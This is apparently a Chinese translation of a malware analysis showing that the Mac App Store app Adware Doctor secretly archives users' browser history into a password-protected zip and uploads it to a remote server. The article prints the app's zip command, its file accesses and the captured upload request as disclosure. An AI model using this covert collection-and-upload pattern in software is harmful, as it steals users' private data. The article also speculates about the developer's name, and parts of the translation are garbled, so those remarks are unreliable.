导语:广告医生是一个非常流行的应用程序,它会偷偷地窃取你的浏览记录。
背景
你很信任官方Mac应用程序商店的应用程序对吗?
毕竟苹果官方说:
你的Mac电脑下载应用程序最安全的地方是Mac应用程序商店。苹果会在应用程序被商店接受之前对其进行审查,如果应用程序有任何问题,苹果会迅速将其从商店中移除。
然而,这些说法是否属实还值得怀疑。因为苹果应用商店最畅销的应用之一——广告医生,偷偷的将高度敏感的用户信息泄露给疑似为中国的开发商。尽管苹果在一个月前就与其取得了联系,并承诺会进行调查,但苹果应用程序商店仍然可以使用这款应用程序。
注意:
广告医生的恶意行为最初是由@privacyis1st发现的。在他的帮助下,我们共同调查了这个问题。
广告医生
广告医生声称自己可以去除苹果电脑中常见的所有广告,同时也是这一领域内最佳的应用程序。
在官方的Mac应用程序商店,这个应用程序非常流行。它是排名第四的最赚钱的应用程序……这意味着它被列在了苹果的主页上!
在“付费软件”这一类别中,广告医生拥有令人羡慕的头衔:
它以4.99美元的价格,让软件开发商赚了一大笔钱。
值得注意的是,暂时没有关于应用程序开发者的更多信息,只知道他的名字叫“张XX”。然而,“张XX”是一个臭名昭著的中国连环杀手,这相当有趣,也许不是巧合。
麻烦的过去
我们发现广告医生有一个相当不道德的历史。在2016年,它被显示使用了AppleScript,这显然是为了执行更高操作,而这恰恰违反了苹果商店的指南。
大约在同一时间,托马斯·里德指出:
几周前,这个应用程序还在使用“Adware Medic”这个名字,这个名字和我自己非常流行的AdwareMedic应用程序同名,这款应用程序被Malwarebytes收购了。苹果公司很快就把它从商店里下架了,但它很快就以Adware Doctor的身份上架了。
最后,广告医生(以及其他由同一开发者开发的应用)的评论很可能是假的,因为该应用程序在富有见地的帖子“苹果商店里的应用程序带有假评论”中被特别讨论过。也许它真的是有史以来最令人惊奇的软件之一。
但这似乎不太可能,尤其是在我们进一步了解这款应用的评论之后。
然而,尽管这些过去的行为相当狡猾或不诚实,一些人会狡辩,它们并非明显不合情理。虽然这些不道德的行为有很多都被报告给苹果,但不幸的是,苹果公司并没有采取果断的行动。当然,这只会鼓励应用程序开发人员,因为他们在某个时候越过了一条站不住脚的界线。
你偷了我的浏览器历史记录?
@ privacyisfirst在最近的一条推特上写道:
广告医生正在窃取你的隐私。
在这条推特上,他发布了一个视频链接,视频显示Adware Doctor正在收集和秘密窃取包括浏览器历史在内的各种敏感用户数据。
所以,让我们一起来看看发生了什么!我们通过使用静态分析(拆解)和动态分析(网络监视、文件监视和调试)的组合,能清楚的了解正在发生的事情,并最终确认@privacyis1st令人担忧的发现是真的!
首先,让我们从官方的Mac App Store下载Adware Doctor…是的,付4.99美元。我们可以确认应用程序(就像Mac应用程序商店中的所有应用程序一样)是由苹果公司正式签署的:
启动应用程序时,我们可以看到它通过HTTPS发出各种网络请求。例如,它连接到adwarres .securemacos.com并对/AdwareDoctor/master.1.5.5.js发出GET请求
如网络捕获所示,下载的master.1.5.5。js文件包含一些基本的JSON配置数据:
{ "disable_rate": false, "disable_prescan": false, "sk_on": false, "faq_link": "http://www.adwaredoctor.com/adware-doctor-faq/" }
点击应用程序UI中的“Clean”按钮会触发另一个网络请求,同样是adwareres.securemacos.com,但这次要下载第二个名为config1.5.0.js的文件:
config1.5.0.js文件包含更多的JSON,最引人注目的是链接到广告的签名数据库。
{ "update": true, "version": "201808243", "url": "https://adwareres.securemacos.com/patten/file201808243.db" }
毫不奇怪,应用程序下载了这个数据库:
不过,如果我们试图偷看一下它的内容,它们似乎是加密的(通常是反广告软件/反病毒签名的情况):
然而,在调试器中,我们只是等待,直到应用程序在内存中解密文件,并转储(现在)明文内容:
(lldb) binaryContentMatchPatten = ({ md5 = ( 48a96e1c00be257debc9c9c58fafaffe, f1a19b8929ec88a81a6bdce6d5ee66e6, 3e653285b290c12d40982e6bb65928c1, 801e59290d99ecb39fd218227674646e, 8d0cd4565256a781f73aa1e68e2a63de, e233edd82b3dffd41fc9623519ea281b, 1db830f93667d9c38dc943595dcc2d85, ... browserHomePagePatten = ( { name = "Chrome homepage: safefinder"; patten = "Chrome.*feed\\.snowbitt\\.com.*publisher=tingnew"; }, { name = "Chrome homepage: safefinder"; patten = "Chrome.*feed\\.snowbitt\\.com.*publisher=TingSyn"; }, { name = "Chrome homepage: safefinder"; patten = "Chrome.*searchword.*/90/"; }, ... filePathPatten = ( "/Applications/WebShoppers", "/Applications/WebShoppy", "/Applications/SoftwareUpdater", "/Applications/webshoppers", "~/Library/Application Support/WebTools", "~/Library/WebTools", "/Applications/WebTools", "/Applications/WebTools.app", "/Applications/SmartShoppy", "/Applications/ShopTool", "/Applications/ShoppyTool", "/Applications/EasyShopper", ... launchPathMatchPatten = ( "com.WebShoppers.agent.plist", "com.WebShoppy.agent.plist", "com.webshoppers.agent.plist", "com.SoftwareUpdater.agent.plist", ... whitelist = ( "~/Library/LaunchAgents/com.spotify.webhelper.plist", "/Library/LaunchDaemons/com.intel.haxm.plist", "/Library/LaunchDaemons/net.privatetunnel.ovpnagent.plist", "/Library/LaunchDaemons/com.mixlr.MixlrAudioLink.plist", "/Library/LaunchDaemons/com.mcafee.ssm.Eupdate.plist" "/Library/LaunchDaemons/com.mcafee.ssm.ScanFactory.plist", "/Library/LaunchDaemons/com.mcafee.ssm.ScanManager.plist", "/Library/LaunchDaemons/com.mcafee.virusscan.fmpd.plist", "/Library/LaunchDaemons/com.microsoft.autoupdate.helper.plist", "/Library/LaunchAgents/com.microsoft.update.agent.plist", "/Library/LaunchDaemons/com.crashplan.engine.plist" ...
这些看起来像合法的反广告软件签名,散列与已知的广告软件相匹配:
比如广告.MAC.Pirrit:
回到广告医生的 UI,它可以“清理”你的系统:
直到这一点在我们的分析出现,虽然这就是事情变得可疑的地方。
首先,在运行文件监视器(比如苹果内置的fs_usage)和过滤(不敏感地)包含历史记录的文件时,我们注意到一些非常有趣的文件访问:
# fs_usage -w -f filesystem | grep "Adware Doctor" | grep -i history Adware Doctor.44148 open ~/Library/Application Support/<b>CallHistoryTransactions</b> Adware Doctor.44148 open ~/Library/Application Support/<b>CallHistoryDB</b> Adware Doctor.44148 RdData[A] /dev/disk1s1/Users/user/Library/Safari/<b>History.db</b> Adware Doctor.44148 lstat64 /Users/user/Library/Application Support/Google/Chrome/Default/<b>History</b> Adware Doctor.44148 open ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip Adware Doctor.44148 lstat64 ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/psCommonInfo Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/appstoreHistory Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/safariHistory Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/chromeHistory Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/firefoxHistory
如果我们运行一个进程监视器(比如我的开源ProcInfo实用程序),我们可以观察Adware Doctor生成内置的zip实用程序来创建一个受密码保护的 history.zip
# ./procInfo process start: pid: 2634 path: /bin/bash args: ( "/bin/bash", "-c", "zip -r --quiet -P webtool \"/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/<b>history.zip</b>\" \"/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history\" > /dev/null" )
此外,网络代理监视器捕获从广告医生到adscan.yelabapp.com的连接尝试:
通过编辑系统的/etc/hosts文件,我们可以将此请求重定向到我们控制的服务器,并捕获Adware Doctor试图上载的内容。你认为会是什么呢?如果你猜到了history.zip 文件,那么你是对的!
# python https.py listening for for HTTPS requests on port:443 192.168.86.76 - - [20/Aug/2018 10:53:24] "POST /1/checkadware HTTP/1.1" 200 - Headers: Host: adscan.yelabapp.com Content-Type: multipart/form-data; boundary=Boundary-E2AE6908-4FC6-4C1D-911A-0B34F844C510 Connection: keep-alive Accept: */* User-Agent: Adware%20Doctor/1026 CFNetwork/902.1 Darwin/17.7.0 (x86_64) Content-Length: 15810 Accept-Language: en-us Accept-Encoding: br, gzip, deflate Path: /1/checkadware Attachment: 'history.zip' (length: 15810)
上传的history.zip档案是密码保护:
幸运的是,弄清楚密码并不重要。回顾过程的输出监视器,一个可以看到密码传递给邮政通过命令行实用程序:zip -r –quiet -P webtool
密码也硬编码到应用程序的二进制文件中(稍后我们会讲到,当反转二进制文件的各个部分时)。
让我们解压存档,输入webtool作为密码:
正如@privacyis1st所指出的,广告医生确实在暗中窃取你的浏览器历史:
$ cat com.yelab.Browser-Sweeper/Data/Library/Application\ Support/com.yelab.Browser-Sweeper/history/chromeHistory Person 1: https://www.google.com/search?q=if+i+punch+myself+in+the+face+and+it+hurts+does+that+make+me+weak+or+strong 2018-08-20 21:19:57 https://www.google.com/search?q=does+your+stomach+think+all+potatoes+are+mashed 2018-08-20 21:19:36 $ cat com.yelab.Browser-Sweeper/Data/Library/Application\ Support/com.yelab.Browser-Sweeper/history/safariHistory https://www.google.com/search?client=safari&rls=en&q=What+are+the+best+investment+opportunities+in+Nigeria1397-06-02 08:29:41 https://www.google.com/search?client=safari&rls=en&q=Where+do+lost+socks+go+when+they+go+missing 1397-06-02 08:29:20
通过重定向DNS解析,我们可以很容易的捕获出的数据。
本文简单介绍了广告医生是如何窃取浏览器数据的,下片文章将介绍其带来的影响及危害。